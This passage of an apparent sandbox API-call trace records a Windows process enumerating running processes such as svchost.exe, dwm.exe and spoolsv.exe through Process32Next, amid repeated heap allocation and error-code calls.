dwFlags=0x0, lpMem=0x2110580 | out: hHeap=0x2110000) returned 1 [0099.004] GetLastError () returned 0x0 [0099.005] SetLastError (dwErrCode=0x0) [0099.005] GetLastError () returned 0x0 [0099.005] SetLastError (dwErrCode=0x0) [0099.005] GetLastError () returned 0x0 [0099.005] SetLastError (dwErrCode=0x0) [0099.005] GetLastError () returned 0x0 [0099.005] SetLastError (dwErrCode=0x0) [0099.005] GetLastError () returned 0x0 [0099.005] SetLastError (dwErrCode=0x0) [0099.005] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.006] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2110580 [0099.006] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d60 [0099.006] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2110590 [0099.006] GetLastError () returned 0x0 [0099.006] SetLastError (dwErrCode=0x0) [0099.007] GetLastError () returned 0x0 [0099.007] SetLastError (dwErrCode=0x0) [0099.007] GetLastError () returned 0x0 [0099.007] SetLastError (dwErrCode=0x0) [0099.007] GetLastError () returned 0x0 [0099.007] SetLastError (dwErrCode=0x0) [0099.007] GetLastError () returned 0x0 [0099.007] SetLastError (dwErrCode=0x0) [0099.007] GetLastError () returned 0x0 [0099.007] SetLastError (dwErrCode=0x0) [0099.007] GetLastError () returned 0x0 [0099.007] SetLastError (dwErrCode=0x0) [0099.007] GetLastError () returned 0x0 [0099.007] SetLastError (dwErrCode=0x0) [0099.007] GetLastError () returned 0x0 [0099.007] SetLastError (dwErrCode=0x0) [0099.007] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.007] GetLastError () returned 0x0 [0099.007] SetLastError (dwErrCode=0x0) [0099.008] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0099.008] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110590 | out: hHeap=0x2110000) returned 1 [0099.008] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d60 | out: hHeap=0x2110000) returned 1 [0099.008] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110580 | out: hHeap=0x2110000) returned 1 [0099.008] GetLastError () returned 0x0 [0099.008] SetLastError (dwErrCode=0x0) [0099.008] GetLastError () returned 0x0 [0099.008] SetLastError (dwErrCode=0x0) [0099.008] GetLastError () returned 0x0 [0099.008] SetLastError (dwErrCode=0x0) [0099.008] GetLastError () returned 0x0 [0099.008] SetLastError (dwErrCode=0x0) [0099.008] GetLastError () returned 0x0 [0099.008] SetLastError (dwErrCode=0x0) [0099.009] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.009] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2110580 [0099.010] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430b80 [0099.010] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2110590 [0099.010] GetLastError () returned 0x0 [0099.010] SetLastError (dwErrCode=0x0) [0099.010] GetLastError () returned 0x0 [0099.010] SetLastError (dwErrCode=0x0) [0099.010] GetLastError () returned 0x0 [0099.010] SetLastError (dwErrCode=0x0) [0099.010] GetLastError () returned 0x0 [0099.010] SetLastError (dwErrCode=0x0) [0099.010] GetLastError () returned 0x0 [0099.010] SetLastError (dwErrCode=0x0) [0099.010] GetLastError () returned 0x0 [0099.010] SetLastError (dwErrCode=0x0) [0099.010] GetLastError () returned 0x0 [0099.010] SetLastError (dwErrCode=0x0) [0099.010] GetLastError () returned 0x0 [0099.011] SetLastError (dwErrCode=0x0) [0099.011] GetLastError () returned 0x0 [0099.011] SetLastError (dwErrCode=0x0) [0099.011] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.011] GetLastError () returned 0x0 [0099.011] SetLastError (dwErrCode=0x0) [0099.011] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0099.011] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110590 | out: hHeap=0x2110000) returned 1 [0099.011] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430b80 | out: hHeap=0x2110000) returned 1 [0099.011] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110580 | out: hHeap=0x2110000) returned 1 [0099.011] GetLastError () returned 0x0 [0099.011] SetLastError (dwErrCode=0x0) [0099.011] GetLastError () returned 0x0 [0099.011] SetLastError (dwErrCode=0x0) [0099.011] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x144) returned 0x2116690 [0099.012] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.012] GetLastError () returned 0x0 [0099.012] SetLastError (dwErrCode=0x0) [0099.012] GetLastError () returned 0x0 [0099.012] SetLastError (dwErrCode=0x0) [0099.012] GetLastError () returned 0x0 [0099.012] SetLastError (dwErrCode=0x0) [0099.012] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x200, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0099.013] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430f40 [0099.013] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ca0 [0099.013] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430f50 [0099.013] GetLastError () returned 0x0 [0099.013] SetLastError (dwErrCode=0x0) [0099.013] GetLastError () returned 0x0 [0099.014] SetLastError (dwErrCode=0x0) [0099.014] GetLastError () returned 0x0 [0099.014] SetLastError (dwErrCode=0x0) [0099.014] GetLastError () returned 0x0 [0099.014] SetLastError (dwErrCode=0x0) [0099.014] GetLastError () returned 0x0 [0099.014] SetLastError (dwErrCode=0x0) [0099.014] GetLastError () returned 0x0 [0099.014] SetLastError (dwErrCode=0x0) [0099.014] GetLastError () returned 0x0 [0099.014] SetLastError (dwErrCode=0x0) [0099.014] GetLastError () returned 0x0 [0099.014] SetLastError (dwErrCode=0x0) [0099.014] GetLastError () returned 0x0 [0099.014] SetLastError (dwErrCode=0x0) [0099.014] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0099.015] GetLastError () returned 0x0 [0099.015] SetLastError (dwErrCode=0x0) [0099.015] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.015] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f50 | out: hHeap=0x2110000) returned 1 [0099.015] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ca0 | out: hHeap=0x2110000) returned 1 [0099.015] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f40 | out: hHeap=0x2110000) returned 1 [0099.015] GetLastError () returned 0x0 [0099.015] SetLastError (dwErrCode=0x0) [0099.015] GetLastError () returned 0x0 [0099.015] SetLastError (dwErrCode=0x0) [0099.015] GetLastError () returned 0x0 [0099.015] SetLastError (dwErrCode=0x0) [0099.015] GetLastError () returned 0x0 [0099.015] SetLastError (dwErrCode=0x0) [0099.015] GetLastError () returned 0x0 [0099.015] SetLastError (dwErrCode=0x0) [0099.016] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.016] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116918 [0099.017] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d00 [0099.017] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116838 [0099.017] GetLastError () returned 0x0 [0099.017] SetLastError (dwErrCode=0x0) [0099.017] GetLastError () returned 0x0 [0099.017] SetLastError (dwErrCode=0x0) [0099.017] GetLastError () returned 0x0 [0099.017] SetLastError (dwErrCode=0x0) [0099.017] GetLastError () returned 0x0 [0099.017] SetLastError (dwErrCode=0x0) [0099.017] GetLastError () returned 0x0 [0099.017] SetLastError (dwErrCode=0x0) [0099.017] GetLastError () returned 0x0 [0099.017] SetLastError (dwErrCode=0x0) [0099.017] GetLastError () returned 0x0 [0099.017] SetLastError (dwErrCode=0x0) [0099.017] GetLastError () returned 0x0 [0099.018] SetLastError (dwErrCode=0x0) [0099.018] GetLastError () returned 0x0 [0099.018] SetLastError (dwErrCode=0x0) [0099.018] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430498 [0099.018] GetLastError () returned 0x0 [0099.018] SetLastError (dwErrCode=0x0) [0099.018] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430498 | out: hHeap=0x2110000) returned 1 [0099.018] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116838 | out: hHeap=0x2110000) returned 1 [0099.018] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d00 | out: hHeap=0x2110000) returned 1 [0099.018] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116918 | out: hHeap=0x2110000) returned 1 [0099.018] GetLastError () returned 0x0 [0099.019] SetLastError (dwErrCode=0x0) [0099.019] GetLastError () returned 0x0 [0099.019] SetLastError (dwErrCode=0x0) [0099.019] GetLastError () returned 0x0 [0099.019] SetLastError (dwErrCode=0x0) [0099.019] GetLastError () returned 0x0 [0099.019] SetLastError (dwErrCode=0x0) [0099.019] GetLastError () returned 0x0 [0099.019] SetLastError (dwErrCode=0x0) [0099.019] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.020] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169d8 [0099.020] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430cc0 [0099.020] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.020] GetLastError () returned 0x0 [0099.021] SetLastError (dwErrCode=0x0) [0099.021] GetLastError () returned 0x0 [0099.021] SetLastError (dwErrCode=0x0) [0099.021] GetLastError () returned 0x0 [0099.021] SetLastError (dwErrCode=0x0) [0099.021] GetLastError () returned 0x0 [0099.021] SetLastError (dwErrCode=0x0) [0099.021] GetLastError () returned 0x0 [0099.021] SetLastError (dwErrCode=0x0) [0099.021] GetLastError () returned 0x0 [0099.021] SetLastError (dwErrCode=0x0) [0099.021] GetLastError () returned 0x0 [0099.021] SetLastError (dwErrCode=0x0) [0099.021] GetLastError () returned 0x0 [0099.021] SetLastError (dwErrCode=0x0) [0099.021] GetLastError () returned 0x0 [0099.021] SetLastError (dwErrCode=0x0) [0099.021] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.021] GetLastError () returned 0x0 [0099.022] SetLastError (dwErrCode=0x0) [0099.022] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430510 | out: hHeap=0x2110000) returned 1 [0099.022] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168c8 | out: hHeap=0x2110000) returned 1 [0099.022] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430cc0 | out: hHeap=0x2110000) returned 1 [0099.022] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169d8 | out: hHeap=0x2110000) returned 1 [0099.022] GetLastError () returned 0x0 [0099.022] SetLastError (dwErrCode=0x0) [0099.022] GetLastError () returned 0x0 [0099.022] SetLastError (dwErrCode=0x0) [0099.022] GetLastError () returned 0x0 [0099.022] SetLastError (dwErrCode=0x0) [0099.022] GetLastError () returned 0x0 [0099.022] SetLastError (dwErrCode=0x0) [0099.022] GetLastError () returned 0x0 [0099.023] SetLastError (dwErrCode=0x0) [0099.023] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.023] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169b8 [0099.023] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ca0 [0099.024] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116918 [0099.024] GetLastError () returned 0x0 [0099.024] SetLastError (dwErrCode=0x0) [0099.024] GetLastError () returned 0x0 [0099.024] SetLastError (dwErrCode=0x0) [0099.024] GetLastError () returned 0x0 [0099.024] SetLastError (dwErrCode=0x0) [0099.024] GetLastError () returned 0x0 [0099.024] SetLastError (dwErrCode=0x0) [0099.024] GetLastError () returned 0x0 [0099.024] SetLastError (dwErrCode=0x0) [0099.024] GetLastError () returned 0x0 [0099.024] SetLastError (dwErrCode=0x0) [0099.024] GetLastError () returned 0x0 [0099.024] SetLastError (dwErrCode=0x0) [0099.024] GetLastError () returned 0x0 [0099.024] SetLastError (dwErrCode=0x0) [0099.024] GetLastError () returned 0x0 [0099.025] SetLastError (dwErrCode=0x0) [0099.025] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430560 [0099.025] GetLastError () returned 0x0 [0099.025] SetLastError (dwErrCode=0x0) [0099.025] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430560 | out: hHeap=0x2110000) returned 1 [0099.025] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116918 | out: hHeap=0x2110000) returned 1 [0099.025] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ca0 | out: hHeap=0x2110000) returned 1 [0099.025] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169b8 | out: hHeap=0x2110000) returned 1 [0099.025] GetLastError () returned 0x0 [0099.025] SetLastError (dwErrCode=0x0) [0099.025] GetLastError () returned 0x0 [0099.025] SetLastError (dwErrCode=0x0) [0099.025] GetLastError () returned 0x0 [0099.025] SetLastError (dwErrCode=0x0) [0099.025] GetLastError () returned 0x0 [0099.025] SetLastError (dwErrCode=0x0) [0099.026] GetLastError () returned 0x0 [0099.026] SetLastError (dwErrCode=0x0) [0099.026] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.028] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116978 [0099.029] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430e60 [0099.029] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116988 [0099.029] GetLastError () returned 0x0 [0099.029] SetLastError (dwErrCode=0x0) [0099.029] GetLastError () returned 0x0 [0099.029] SetLastError (dwErrCode=0x0) [0099.029] GetLastError () returned 0x0 [0099.029] SetLastError (dwErrCode=0x0) [0099.029] GetLastError () returned 0x0 [0099.029] SetLastError (dwErrCode=0x0) [0099.029] GetLastError () returned 0x0 [0099.029] SetLastError (dwErrCode=0x0) [0099.029] GetLastError () returned 0x0 [0099.029] SetLastError (dwErrCode=0x0) [0099.029] GetLastError () returned 0x0 [0099.030] SetLastError (dwErrCode=0x0) [0099.030] GetLastError () returned 0x0 [0099.030] SetLastError (dwErrCode=0x0) [0099.030] GetLastError () returned 0x0 [0099.030] SetLastError (dwErrCode=0x0) [0099.030] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.030] GetLastError () returned 0x0 [0099.030] SetLastError (dwErrCode=0x0) [0099.030] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0099.030] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116988 | out: hHeap=0x2110000) returned 1 [0099.030] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e60 | out: hHeap=0x2110000) returned 1 [0099.030] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116978 | out: hHeap=0x2110000) returned 1 [0099.030] GetLastError () returned 0x0 [0099.030] SetLastError (dwErrCode=0x0) [0099.030] GetLastError () returned 0x0 [0099.030] SetLastError (dwErrCode=0x0) [0099.031] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1e6) returned 0x21169e8 [0099.031] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116690 | out: hHeap=0x2110000) returned 1 [0099.031] GetLastError () returned 0x0 [0099.031] SetLastError (dwErrCode=0x0) [0099.031] GetLastError () returned 0x0 [0099.031] SetLastError (dwErrCode=0x0) [0099.031] GetLastError () returned 0x0 [0099.031] SetLastError (dwErrCode=0x0) [0099.031] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.033] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.033] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ea0 [0099.033] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169b8 [0099.033] GetLastError () returned 0x0 [0099.033] SetLastError (dwErrCode=0x0) [0099.033] GetLastError () returned 0x0 [0099.033] SetLastError (dwErrCode=0x0) [0099.033] GetLastError () returned 0x0 [0099.033] SetLastError (dwErrCode=0x0) [0099.034] GetLastError () returned 0x0 [0099.034] SetLastError (dwErrCode=0x0) [0099.034] GetLastError () returned 0x0 [0099.034] SetLastError (dwErrCode=0x0) [0099.034] GetLastError () returned 0x0 [0099.034] SetLastError (dwErrCode=0x0) [0099.034] GetLastError () returned 0x0 [0099.034] SetLastError (dwErrCode=0x0) [0099.034] GetLastError () returned 0x0 [0099.034] SetLastError (dwErrCode=0x0) [0099.034] GetLastError () returned 0x0 [0099.034] SetLastError (dwErrCode=0x0) [0099.034] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34305d8 [0099.034] GetLastError () returned 0x0 [0099.034] SetLastError (dwErrCode=0x0) [0099.034] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305d8 | out: hHeap=0x2110000) returned 1 [0099.035] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169b8 | out: hHeap=0x2110000) returned 1 [0099.035] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ea0 | out: hHeap=0x2110000) returned 1 [0099.035] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168c8 | out: hHeap=0x2110000) returned 1 [0099.035] GetLastError () returned 0x0 [0099.035] SetLastError (dwErrCode=0x0) [0099.035] GetLastError () returned 0x0 [0099.035] SetLastError (dwErrCode=0x0) [0099.036] GetLastError () returned 0x0 [0099.036] SetLastError (dwErrCode=0x0) [0099.036] GetLastError () returned 0x0 [0099.036] SetLastError (dwErrCode=0x0) [0099.036] GetLastError () returned 0x0 [0099.036] SetLastError (dwErrCode=0x0) [0099.036] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.037] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116998 [0099.037] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d20 [0099.037] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116858 [0099.037] GetLastError () returned 0x0 [0099.037] SetLastError (dwErrCode=0x0) [0099.037] GetLastError () returned 0x0 [0099.037] SetLastError (dwErrCode=0x0) [0099.038] GetLastError () returned 0x0 [0099.038] SetLastError (dwErrCode=0x0) [0099.038] GetLastError () returned 0x0 [0099.038] SetLastError (dwErrCode=0x0) [0099.038] GetLastError () returned 0x0 [0099.038] SetLastError (dwErrCode=0x0) [0099.038] GetLastError () returned 0x0 [0099.038] SetLastError (dwErrCode=0x0) [0099.038] GetLastError () returned 0x0 [0099.038] SetLastError (dwErrCode=0x0) [0099.038] GetLastError () returned 0x0 [0099.038] SetLastError (dwErrCode=0x0) [0099.038] GetLastError () returned 0x0 [0099.039] SetLastError (dwErrCode=0x0) [0099.039] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430538 [0099.039] GetLastError () returned 0x0 [0099.039] SetLastError (dwErrCode=0x0) [0099.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430538 | out: hHeap=0x2110000) returned 1 [0099.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116858 | out: hHeap=0x2110000) returned 1 [0099.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d20 | out: hHeap=0x2110000) returned 1 [0099.039] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116998 | out: hHeap=0x2110000) returned 1 [0099.039] GetLastError () returned 0x0 [0099.039] SetLastError (dwErrCode=0x0) [0099.039] GetLastError () returned 0x0 [0099.039] SetLastError (dwErrCode=0x0) [0099.039] GetLastError () returned 0x0 [0099.039] SetLastError (dwErrCode=0x0) [0099.039] GetLastError () returned 0x0 [0099.040] SetLastError (dwErrCode=0x0) [0099.040] GetLastError () returned 0x0 [0099.040] SetLastError (dwErrCode=0x0) [0099.040] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.041] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168f8 [0099.041] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430cc0 [0099.041] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168d8 [0099.041] GetLastError () returned 0x0 [0099.041] SetLastError (dwErrCode=0x0) [0099.041] GetLastError () returned 0x0 [0099.041] SetLastError (dwErrCode=0x0) [0099.042] GetLastError () returned 0x0 [0099.042] SetLastError (dwErrCode=0x0) [0099.042] GetLastError () returned 0x0 [0099.042] SetLastError (dwErrCode=0x0) [0099.042] GetLastError () returned 0x0 [0099.042] SetLastError (dwErrCode=0x0) [0099.042] GetLastError () returned 0x0 [0099.042] SetLastError (dwErrCode=0x0) [0099.042] GetLastError () returned 0x0 [0099.042] SetLastError (dwErrCode=0x0) [0099.042] GetLastError () returned 0x0 [0099.042] SetLastError (dwErrCode=0x0) [0099.042] GetLastError () returned 0x0 [0099.042] SetLastError (dwErrCode=0x0) [0099.042] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0099.042] GetLastError () returned 0x0 [0099.043] SetLastError (dwErrCode=0x0) [0099.043] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.043] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168d8 | out: hHeap=0x2110000) returned 1 [0099.043] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430cc0 | out: hHeap=0x2110000) returned 1 [0099.043] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168f8 | out: hHeap=0x2110000) returned 1 [0099.043] GetLastError () returned 0x0 [0099.043] SetLastError (dwErrCode=0x0) [0099.043] GetLastError () returned 0x0 [0099.043] SetLastError (dwErrCode=0x0) [0099.043] GetLastError () returned 0x0 [0099.044] SetLastError (dwErrCode=0x0) [0099.044] GetLastError () returned 0x0 [0099.044] SetLastError (dwErrCode=0x0) [0099.044] GetLastError () returned 0x0 [0099.044] SetLastError (dwErrCode=0x0) [0099.044] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0099.045] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.045] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430be0 [0099.045] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168e8 [0099.045] GetLastError () returned 0x0 [0099.045] SetLastError (dwErrCode=0x0) [0099.045] GetLastError () returned 0x0 [0099.045] SetLastError (dwErrCode=0x0) [0099.045] GetLastError () returned 0x0 [0099.045] SetLastError (dwErrCode=0x0) [0099.045] GetLastError () returned 0x0 [0099.046] SetLastError (dwErrCode=0x0) [0099.046] GetLastError () returned 0x0 [0099.046] SetLastError (dwErrCode=0x0) [0099.046] GetLastError () returned 0x0 [0099.046] SetLastError (dwErrCode=0x0) [0099.046] GetLastError () returned 0x0 [0099.046] SetLastError (dwErrCode=0x0) [0099.046] GetLastError () returned 0x0 [0099.046] SetLastError (dwErrCode=0x0) [0099.046] GetLastError () returned 0x0 [0099.046] SetLastError (dwErrCode=0x0) [0099.046] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430358 [0099.046] GetLastError () returned 0x0 [0099.046] SetLastError (dwErrCode=0x0) [0099.047] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430358 | out: hHeap=0x2110000) returned 1 [0099.047] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168e8 | out: hHeap=0x2110000) returned 1 [0099.047] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430be0 | out: hHeap=0x2110000) returned 1 [0099.047] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168c8 | out: hHeap=0x2110000) returned 1 [0099.047] GetLastError () returned 0x0 [0099.047] SetLastError (dwErrCode=0x0) [0099.047] GetLastError () returned 0x0 [0099.047] SetLastError (dwErrCode=0x0) [0099.047] GetLastError () returned 0x0 [0099.047] SetLastError (dwErrCode=0x0) [0099.047] GetLastError () returned 0x0 [0099.047] SetLastError (dwErrCode=0x0) [0099.047] GetLastError () returned 0x0 [0099.047] SetLastError (dwErrCode=0x0) [0099.047] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0099.049] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116938 [0099.049] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ce0 [0099.049] RtlAllocateHeap (HeapHandle=0x2110000, 